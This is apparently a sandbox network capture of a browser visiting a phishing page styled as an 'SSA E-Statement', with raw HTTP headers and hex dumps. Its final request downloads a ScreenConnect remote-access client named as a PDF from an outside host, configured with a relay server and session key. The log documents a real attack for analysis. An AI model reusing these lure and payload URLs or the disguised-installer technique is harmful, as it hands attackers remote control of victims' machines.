2024-11-22 22:00:03 UTC	1014	OUT	GET /favicon.ico HTTP/1.1 Host: identitys.fraudguard.es Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://identitys.fraudguard.es/SSA_Updated_Statement?__cf_chl_tk=MHTmGQmFqx8nb5tLmda9hZ5tiDxHXBAXL96ckRrQOFg-1732312771-1.0.1.1-8yXVDlDNs3L3PRf75lCRfQlQKPcTKx23r791b.sC0uo Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-22 22:00:03 UTC	1285	IN	HTTP/1.1 403 Forbidden Date: Fri, 22 Nov 2024 22:00:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Accept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA Critical-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin Origin-Agent-Cluster: ?1 Permissions-Policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() Referrer-Policy: same-origin X-Content-Options: nosniff X-Frame-Options: SAMEORIGIN cf-mitigated: challenge
2024-11-22 22:00:03 UTC	946	IN	Data Raw: 63 66 2d 63 68 6c 2d 6f 75 74 3a 20 47 35 58 46 68 50 35 65 73 67 67 4e 38 38 78 51 4e 54 4b 39 33 56 71 43 48 72 71 5a 7a 73 2f 41 4b 4f 36 68 58 34 45 71 6d 6d 5a 44 6e 76 39 35 4b 57 4b 69 4d 56 52 57 66 6f 53 6e 2b 4a 59 78 44 58 62 55 7a 49 32 53 6f 73 43 41 64 7a 7a 30 39 79 72 59 77 59 53 38 50 30 68 51 68 78 70 71 4d 32 4f 4e 34 2f 67 50 39 50 77 51 4e 66 7a 6e 63 43 4c 7a 5a 69 62 59 6a 68 45 6d 69 5a 47 71 46 74 34 38 6f 30 37 79 71 4f 52 55 6d 68 33 50 2b 70 53 2b 78 51 3d 3d 24 4a 46 37 52 70 56 6f 45 47 35 4b 55 2f 45 46 49 76 37 4f 6f 37 67 3d 3d 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 72 69 76 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 2c 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 Data Ascii: cf-chl-out: G5XFhP5esggN88xQNTK93VqCHrqZzs/AKO6hX4EqmmZDnv95KWKiMVRWfoSn+JYxDXbUzI2SosCAdzz09yrYwYS8P0hQhxpqM2ON4/gP9PwQNfzncCLzZibYjhEmiZGqFt48o07yqORUmh3P+pS+xQ==$JF7RpVoEG5KU/EFIv7Oo7g==Cache-Control: private, max-age=0, no-store, no-cache, must-reva
2024-11-22 22:00:03 UTC	1369	IN	Data Raw: 32 34 63 63 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4a 75 73 74 20 61 20 6d 6f 6d 65 6e 74 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 6e 6f 66 6f 6c 6c 6f 77 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d Data Ascii: 24cc<!DOCTYPE html><html lang="en-US"><head><title>Just a moment...</title><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=Edge"><meta name="robots" content="noindex,nofollow"><meta name=
2024-11-22 22:00:03 UTC	1369	IN	Data Raw: 75 4d 7a 67 34 4c 6a 51 77 4e 79 34 7a 4f 44 6b 75 4e 44 41 33 4c 6a 6b 35 4e 43 41 77 49 43 34 31 4f 54 59 74 4c 6a 51 77 4e 79 34 35 4f 44 51 74 4c 6a 4d 35 4e 79 34 7a 4f 53 30 78 4c 6a 41 31 4e 79 34 7a 4f 44 6b 74 4c 6a 59 31 49 44 41 74 4d 53 34 77 4e 54 59 74 4c 6a 4d 34 4f 53 30 75 4d 7a 6b 34 4c 53 34 7a 4f 44 6b 74 4c 6a 4d 35 4f 43 30 75 4f 54 67 30 49 44 41 74 4c 6a 55 35 4e 79 34 7a 4f 54 67 74 4c 6a 6b 34 4e 53 34 30 4d 44 59 74 4c 6a 4d 35 4e 79 41 78 4c 6a 41 31 4e 69 30 75 4d 7a 6b 33 49 69 38 2b 50 43 39 7a 64 6d 63 2b 29 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 6e 6f 2d 72 65 70 65 61 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 63 6f 6e 74 61 69 6e 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 33 34 70 78 7d 40 6d Data Ascii: uMzg4LjQwNy4zODkuNDA3Ljk5NCAwIC41OTYtLjQwNy45ODQtLjM5Ny4zOS0xLjA1Ny4zODktLjY1IDAtMS4wNTYtLjM4OS0uMzk4LS4zODktLjM5OC0uOTg0IDAtLjU5Ny4zOTgtLjk4NS40MDYtLjM5NyAxLjA1Ni0uMzk3Ii8+PC9zdmc+);background-repeat:no-repeat;background-size:contain;padding-left:34px}@m
2024-11-22 22:00:03 UTC	1369	IN	Data Raw: 32 76 49 77 6b 68 41 4f 66 4a 7a 58 44 74 53 65 55 44 75 63 52 5f 43 56 69 58 5f 56 31 4c 47 4f 65 50 72 73 77 5a 46 64 69 68 63 70 70 77 71 76 4c 4f 41 71 4f 6e 54 55 41 46 53 6d 4a 46 35 4b 2e 6b 77 4a 6a 4e 74 61 54 63 43 71 64 4c 79 71 65 77 72 66 6b 35 39 45 6b 34 51 4d 30 4e 5f 43 62 73 73 48 42 30 48 43 48 58 43 70 6e 2e 2e 6a 42 36 6f 78 77 76 56 63 67 4b 45 4e 37 32 6f 73 64 54 71 56 6f 71 71 36 6b 36 62 77 31 64 35 77 79 73 5f 2e 7a 78 45 6f 75 5a 52 73 48 73 47 47 46 48 6f 31 77 55 62 62 74 43 4c 33 46 31 44 6b 55 76 31 75 77 53 79 6f 32 36 5f 55 79 52 55 44 47 51 79 53 77 6d 35 37 58 41 5a 73 68 6a 64 74 6d 75 57 73 52 43 37 2e 55 53 45 67 47 45 57 6c 51 50 58 4b 44 6d 56 69 50 31 79 4c 34 68 42 59 74 33 2e 79 66 6a 72 75 5f 59 45 35 6e 46 46 Data Ascii: 2vIwkhAOfJzXDtSeUDucR_CViX_V1LGOePrswZFdihcppwqvLOAqOnTUAFSmJF5K.kwJjNtaTcCqdLyqewrfk59Ek4QM0N_CbssHB0HCHXCpn..jB6oxwvVcgKEN72osdTqVoqq6k6bw1d5wys_.zxEouZRsHsGGFHo1wUbbtCL3F1DkUv1uwSyo26_UyRUDGQySwm57XAZshjdtmuWsRC7.USEgGEWlQPXKDmViP1yL4hBYt3.yfjru_YE5nFF
2024-11-22 22:00:03 UTC	1369	IN	Data Raw: 61 67 51 5a 4a 41 77 46 78 4e 73 32 50 64 46 44 63 6e 48 6b 58 68 74 48 62 38 61 6b 71 67 71 61 70 51 76 67 6b 55 70 42 66 5a 67 77 4d 67 41 33 30 36 6b 73 59 5f 7a 47 4e 52 77 53 37 51 49 44 39 76 46 44 72 38 71 66 57 2e 4d 45 48 75 37 58 71 49 35 2e 51 52 52 68 37 64 6e 58 42 66 42 62 62 4c 2e 59 4f 70 2e 62 59 36 59 54 70 51 51 6e 30 39 4c 4c 47 79 6e 65 38 54 74 41 71 65 77 4b 70 46 5a 5f 66 48 6e 47 65 6e 52 56 45 56 45 70 31 71 77 61 47 43 45 57 2e 50 66 2e 5a 7a 66 44 30 78 37 70 70 5a 5f 34 6c 4a 76 51 62 36 6b 47 52 50 32 4a 64 4a 33 41 70 73 74 5f 4e 71 70 2e 69 63 33 39 67 5f 62 5a 47 65 7a 70 43 62 35 59 50 71 6f 55 41 63 47 6d 42 2e 68 4f 36 50 4b 7a 61 55 55 4f 48 71 4d 4b 61 57 64 63 71 6d 39 39 5a 53 6a 37 5f 48 42 37 66 31 36 4a 74 67 49 Data Ascii: agQZJAwFxNs2PdFDcnHkXhtHb8akqgqapQvgkUpBfZgwMgA306ksY_zGNRwS7QID9vFDr8qfW.MEHu7XqI5.QRRh7dnXBfBbbL.YOp.bY6YTpQQn09LLGyne8TtAqewKpFZ_fHnGenRVEVEp1qwaGCEW.Pf.ZzfD0x7ppZ_4lJvQb6kGRP2JdJ3Apst_Nqp.ic39g_bZGezpCb5YPqoUAcGmB.hO6PKzaUUOHqMKaWdcqm99ZSj7_HB7f16JtgI
2024-11-22 22:00:03 UTC	1369	IN	Data Raw: 6a 53 6e 4b 79 65 45 45 77 46 75 65 38 36 61 5a 33 35 58 4c 6b 4f 73 4b 48 75 7a 4c 74 48 35 42 35 43 6c 33 54 47 49 70 55 39 61 31 55 6b 54 55 6f 33 4b 4e 4f 4c 30 63 6a 68 63 71 71 43 59 69 73 31 55 67 49 71 65 38 65 58 73 4c 4c 37 6f 67 54 67 65 66 33 65 31 33 6f 68 4b 41 61 68 47 49 34 6a 5f 6b 41 36 4e 6d 4c 6d 73 4d 46 42 72 66 7a 54 61 64 73 63 47 74 54 56 33 32 77 31 76 6a 4e 45 63 31 6c 58 6a 55 71 53 64 59 4a 42 45 54 37 65 67 63 56 2e 4d 6d 76 65 31 73 64 71 32 72 41 44 5a 34 57 4b 44 6f 69 50 4e 4d 56 52 57 76 4b 32 63 43 77 45 47 75 55 61 65 57 2e 4c 57 44 6b 67 32 35 5f 67 6b 31 6a 59 5a 50 77 2e 52 72 77 41 39 61 59 32 47 73 59 45 51 58 6d 64 32 77 78 66 46 74 63 57 57 65 39 4d 49 6a 64 61 62 58 75 4c 42 44 65 56 69 30 74 62 4d 4a 61 6f 42 Data Ascii: jSnKyeEEwFue86aZ35XLkOsKHuzLtH5B5Cl3TGIpU9a1UkTUo3KNOL0cjhcqqCYis1UgIqe8eXsLL7ogTgef3e13ohKAahGI4j_kA6NmLmsMFBrfzTadscGtTV32w1vjNEc1lXjUqSdYJBET7egcV.Mmve1sdq2rADZ4WKDoiPNMVRWvK2cCwEGuUaeW.LWDkg25_gk1jYZPw.RrwA9aY2GsYEQXmd2wxfFtcWWe9MIjdabXuLBDeVi0tbMJaoB
2024-11-22 22:00:03 UTC	1369	IN	Data Raw: 4e 61 6f 45 4a 2e 47 50 30 62 67 56 70 69 67 55 6a 79 76 64 4a 72 34 47 79 64 39 4f 65 55 48 42 76 54 35 38 69 45 78 51 53 58 54 44 49 57 6b 65 6b 6a 67 72 76 79 68 46 62 59 51 2e 49 50 4f 53 44 62 49 4c 62 44 2e 4a 73 63 79 33 63 48 35 62 68 77 68 75 50 31 47 56 71 7a 51 50 45 4f 61 50 45 73 57 36 56 52 67 64 39 44 31 64 71 73 37 7a 5f 73 74 6d 78 4b 7a 49 63 67 51 6b 6f 4a 32 78 58 4c 4d 37 48 4e 75 49 6e 61 6c 47 48 46 47 7a 64 7a 49 47 52 6b 59 5a 53 2e 49 6a 30 5a 42 68 54 57 64 4c 55 7a 6c 4e 2e 66 39 4e 6e 5a 68 38 36 65 79 43 72 32 6e 53 6f 2e 43 75 45 63 4a 56 6c 52 7a 4e 64 52 53 44 33 79 37 34 39 53 30 67 35 6a 35 63 37 35 50 47 33 71 52 39 4a 54 57 36 64 38 32 70 70 6d 35 48 38 56 67 54 71 63 4c 63 6e 62 5f 71 51 69 65 51 33 6a 72 39 78 41 4d Data Ascii: NaoEJ.GP0bgVpigUjyvdJr4Gyd9OeUHBvT58iExQSXTDIWkekjgrvyhFbYQ.IPOSDbILbD.Jscy3cH5bhwhuP1GVqzQPEOaPEsW6VRgd9D1dqs7z_stmxKzIcgQkoJ2xXLM7HNuInalGHFGzdzIGRkYZS.Ij0ZBhTWdLUzlN.f9NnZh86eyCr2nSo.CuEcJVlRzNdRSD3y749S0g5j5c75PG3qR9JTW6d82ppm5H8VgTqcLcnb_qQieQ3jr9xAM
2024-11-22 22:00:03 UTC	1214	IN	Data Raw: 32 68 4c 4e 46 51 51 7a 37 73 59 66 76 46 55 75 39 45 43 65 37 73 37 47 79 59 4f 75 4a 55 70 5f 55 34 42 49 32 48 32 79 53 2e 34 73 38 63 33 30 75 58 50 6a 4b 4f 73 4b 45 63 57 43 72 61 44 56 2e 74 55 6f 39 74 75 42 6d 77 78 4b 6d 53 39 70 64 56 6c 75 6f 4e 56 6e 74 61 5f 72 47 67 51 39 53 5f 68 73 72 37 31 47 79 79 39 30 75 41 48 65 6d 45 74 61 72 69 45 77 51 66 42 30 5f 6e 5f 67 66 79 39 52 73 70 54 6c 5a 4b 77 41 32 36 56 46 47 64 59 69 53 73 72 45 71 44 4a 31 45 41 69 77 78 6f 37 55 41 35 50 65 34 50 69 6b 50 4c 62 34 2e 6d 62 4a 67 6f 42 5a 48 45 77 6f 30 4a 72 4e 45 70 54 46 72 53 35 55 69 46 41 61 4f 6b 57 6a 57 47 79 53 72 4c 53 37 4d 63 36 76 46 65 31 31 34 71 55 45 62 69 4f 58 71 73 35 32 61 32 68 50 4b 6e 30 36 4b 38 2e 57 79 62 77 75 70 46 39 Data Ascii: 2hLNFQQz7sYfvFUu9ECe7s7GyYOuJUp_U4BI2H2yS.4s8c30uXPjKOsKEcWCraDV.tUo9tuBmwxKmS9pdVluoNVnta_rGgQ9S_hsr71Gyy90uAHemEtariEwQfB0_n_gfy9RspTlZKwA26VFGdYiSsrEqDJ1EAiwxo7UA5Pe4PikPLb4.mbJgoBZHEwo0JrNEpTFrS5UiFAaOkWjWGySrLS7Mc6vFe114qUEbiOXqs52a2hPKn06K8.WybwupF9
2024-11-22 22:00:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.16	49750	104.21.94.21	443	6608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:00:03 UTC	597	OUT	GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1250272685:1732310934:lMv4vQNu6SJi5YfzNbAzvoSVeZ0M-LX4x3rf3884x4k/8e6c2fe6acef7ce4/gPy0_aK5Sv4i6hgmZQZgFYktFxMyTYImmaHalcO4lJ0-1732312771-1.2.1.1-tyRTOwQgzteSJ.CJKHu15fEU8XFEd7VK5zZxFl5pi5mwSFejQbpUFM2v6EAb6LAs HTTP/1.1 Host: identitys.fraudguard.es Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-22 22:00:03 UTC	913	IN	HTTP/1.1 404 Not Found Date: Fri, 22 Nov 2024 22:00:03 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: XFKibGLeeMI6WCSxe3s43UFirYJ6EDKR21A=$kqPRn4awsImiOEHr Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=T84wszUi6UdFUqOb%2FqsHxaaCocd5JngdhnPerUR%2BHmIwL8iUiOqonpOl%2FJzMEgWCplBaxoo%2BxuomQi2bRNq7I9UQpNBE66Mb36kSUdVTNxl17N8YiphRADQ3%2BEEXa8BvAO5u%2Fs8syV3mNw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e6c30ae0a36423b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1620&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=1175&delivery_rate=1744324&cwnd=216&unsent_bytes=0&cid=a480068f892728aa&ts=460&x=0"
2024-11-22 22:00:03 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.16	49752	172.67.218.103	443	6608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:00:06 UTC	1690	OUT	GET /SSA_Updated_Statement/ HTTP/1.1 Host: identitys.fraudguard.es Connection: keep-alive Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-arch: "x86" sec-ch-ua-platform: "Windows" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-model: "" sec-ch-ua-bitness: "64" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" Referer: https://identitys.fraudguard.es/SSA_Updated_Statement?__cf_chl_tk=MHTmGQmFqx8nb5tLmda9hZ5tiDxHXBAXL96ckRrQOFg-1732312771-1.0.1.1-8yXVDlDNs3L3PRf75lCRfQlQKPcTKx23r791b.sC0uo Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cf_clearance=vaH0AjYY24C_YbWAU2H696i49KpvtfYtW.WH0aNbYIM-1732312771-1.2.1.1-PYxquHvmowOgTLwsFdiVvnfGjc9XQZV3_lVDGMzReGQzPt2iYB9QJ7y6PW9T6R3Mo5kJ2NZIgxpPj6ycbT9A6Gshx3n3fbO2.hqnzlfXM9Bld3rI6QbtTD085QGVnqfaBFWWCcqY.txgIpO.ngARw9Plr7kR9jN9QrgDlMcn8RvDJx8pG1Prk9GzaZaL9p0ZbYZW3rfqsGbjLtb3frTop7LvI_r6HemgJe6PcDILCtWlLFlK7CdOcrBg4pqb63IXm.RHjZrcN3YwAJQSsO6BQ_ZKFCyCZwhmtKesWVt6dIRIXKiConbuO7PmIflD3c3Qy2ulbW7h2UYCtmBXEIJruTf.OGdCTmgvvjyjT.xm6kWpbgJOIQA2XkjO8Xf55sBdM6W.3mmUk5KCQ3Ahrd0x6TErh3Y2XDqS3JLmmNxyNIOeNBRcKQN9oisNDuKyiavg
2024-11-22 22:00:07 UTC	971	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:00:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.1 Set-Cookie: PHPSESSID=t8e57uod4fhioib6ap4mln8lcr; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hqtneDcAvV%2FfpZIV2f20IjiJmWL90sGNND1MzRAIg2uFXTil9V2LV9YuNv7XmtiW9880vHe8JypMeWYWKPE4%2F55tDEjWmuVV86rzi9Ce9I%2BGlWpt8geklluVn%2ByXi4jNM3EtYnHP50pvJA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e6c30c0feafef9d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1961&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2830&recv_bytes=2290&delivery_rate=1437715&cwnd=98&unsent_bytes=0&cid=172b853263c11efe&ts=831&x=0"
2024-11-22 22:00:07 UTC	398	IN	Data Raw: 62 30 33 0d 0a ef bb bf 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 53 53 41 20 45 2d 53 74 61 74 65 6d 65 6e 74 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c Data Ascii: b03<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>SSA E-Statement</title> <style> body { font-family: Arial,
2024-11-22 22:00:07 UTC	1369	IN	Data Raw: 6c 69 67 6e 2d 69 74 65 6d 73 3a 20 63 65 6e 74 65 72 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 20 63 65 6e 74 65 72 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 76 68 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 78 2d 77 69 64 74 68 3a 20 34 35 30 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 32 30 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 Data Ascii: lign-items: center; justify-content: center; height: 100vh; margin: 0; } .container { text-align: center; max-width: 450px; padding: 20px; backg
2024-11-22 22:00:07 UTC	1059	IN	Data Raw: 62 65 30 66 30 74 74 42 57 49 55 6b 36 4d 66 50 30 4c 37 57 70 49 6d 77 70 62 44 7a 76 78 74 6d 79 4d 57 53 78 5a 38 4a 5a 67 33 39 46 36 65 31 77 38 63 51 48 7a 4c 48 30 61 71 4a 58 39 75 76 51 67 49 76 6f 67 62 4a 42 30 6d 46 58 57 55 52 56 69 39 45 72 61 68 57 25 32 42 77 6b 58 57 70 74 73 72 39 39 61 63 62 41 43 65 57 76 48 68 65 6a 31 31 7a 54 39 5a 50 48 4d 4d 61 6c 75 75 58 54 69 59 6e 53 30 36 78 50 4a 54 4a 5a 67 6c 54 35 68 76 4d 62 6c 31 35 75 52 65 65 77 42 57 68 68 77 69 45 56 61 32 53 25 32 42 44 25 32 42 43 51 45 51 47 4c 73 7a 31 64 70 4a 4e 64 35 34 33 64 51 6c 6c 55 50 68 26 61 6d 70 3b 73 3d 62 63 39 61 37 39 36 65 2d 32 65 38 39 2d 34 38 62 61 2d 39 34 38 34 2d 39 33 32 63 38 30 30 61 34 63 33 34 26 61 6d 70 3b 69 3d 26 61 6d 70 3b 65 Data Ascii: be0f0ttBWIUk6MfP0L7WpImwpbDzvxtmyMWSxZ8JZg39F6e1w8cQHzLH0aqJX9uvQgIvogbJB0mFXWURVi9ErahW%2BwkXWptsr99acbACeWvHhej11zT9ZPHMMaluuXTiYnS06xPJTJZglT5hvMbl15uReewBWhhwiEVa2S%2BD%2BCQEQGLsz1dpJNd543dQllUPh&s=bc9a796e-2e89-48ba-9484-932c800a4c34&i=&e
2024-11-22 22:00:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.16	49754	217.77.14.110	443	6608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:00:08 UTC	1224	OUT	GET /Bin/performance_metrics-pdf.Client.exe?h=instance-w08c5r-relay.screenconnect.com&p=443&k=BgIAAACkAABSU0ExAAgAAAEAAQBtb%2FXciCJO5hHyAR3NG5qwkHgKE4K5jxeGBs35Nlncjh1l6g%2B23I88rvlqmL%2FU%2BHDK35q63nY%2BZ%2BacGdqbEGbCs9%2BC5ELjJTyrUFEL0gVqegeArzyszYoIS4ijuI8mGGKzW9tytW5tQhqCPuQeWdSbe0f0ttBWIUk6MfP0L7WpImwpbDzvxtmyMWSxZ8JZg39F6e1w8cQHzLH0aqJX9uvQgIvogbJB0mFXWURVi9ErahW%2BwkXWptsr99acbACeWvHhej11zT9ZPHMMaluuXTiYnS06xPJTJZglT5hvMbl15uReewBWhhwiEVa2S%2BD%2BCQEQGLsz1dpJNd543dQllUPh&s=bc9a796e-2e89-48ba-9484-932c800a4c34&i=&e=Support&y=Guest&r= HTTP/1.1 Host: wodbaker.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://identitys.fraudguard.es/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.16	49753	217.77.14.110	443	6608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
